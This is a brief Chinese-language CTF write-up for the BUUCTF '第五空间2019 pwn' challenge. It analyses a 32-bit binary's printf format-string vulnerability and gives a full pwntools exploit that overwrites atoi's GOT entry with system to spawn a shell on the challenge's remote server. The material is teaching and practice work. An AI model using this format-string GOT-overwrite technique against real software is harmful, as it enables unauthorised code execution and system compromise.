[buuctf] pwn-第五空间2019pwn

第五空间2019pwn

检查文件保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序，开了canary和nx，保护性很高，ida分析

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);//随机数
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);//格式化漏洞
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )//条件成立得到权限
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

虽然可以利用那个判断成立的方式得到权限，但是可以利用格式化漏洞，直接修改atoi函数的got表为system地址，然后输入bin/sh,也能得到shell，经过动态调试得到偏移量为10，exp如下

from pwn import *

r = remote('node3.buuoj.cn',29346)
elf = ELF('./2019pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload = fmtstr_payload(10,{atoi_got:system_plt})
r.sendline(payload)
r.sendline('/bin/shx00')
r.interactive()